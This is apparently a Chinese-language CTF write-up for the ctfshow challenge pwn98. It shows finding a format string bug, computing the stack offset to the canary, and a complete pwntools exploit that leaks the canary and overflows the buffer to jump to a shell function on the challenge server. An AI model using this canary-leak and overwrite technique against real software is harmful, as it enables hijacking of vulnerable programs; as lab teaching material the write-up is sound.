pwn98(canary,格式化字符串)

ctfshow pwn98

  1. 由题目意思:Canary?有没有办法绕过呢?知道有canary

  2. 有IDA打开
    1

​ 存在格式化字符串漏洞

  1. 计算偏移量

    2

偏移值是5,在计算一下s到返回地址的是0x34,所以(0x34-canary)/4 + 5 = a,a就是最终的偏移量,不了解canary的可以看这篇文章

  1. 接着找canary
    3

​ a = (0x34-0x0c)/4 + 5 = 15

  1. 开始写exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from pwn import *
    #r = process('./pwn')
    r = remote("pwn.challenge.ctf.show", 28195)
    getshell = 0x80486ce
    payload_1 = b'%15$x'
    r.recv()
    r.sendline(payload_1)
    canary = int(r.recv(),16) #canary = int(r.recv(8),16)
    print(hex(canary))
    payload_2 = b'a' * (0x34 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell)
    r.send(payload_2)
    r.interactive()
  2. 得到flag
    4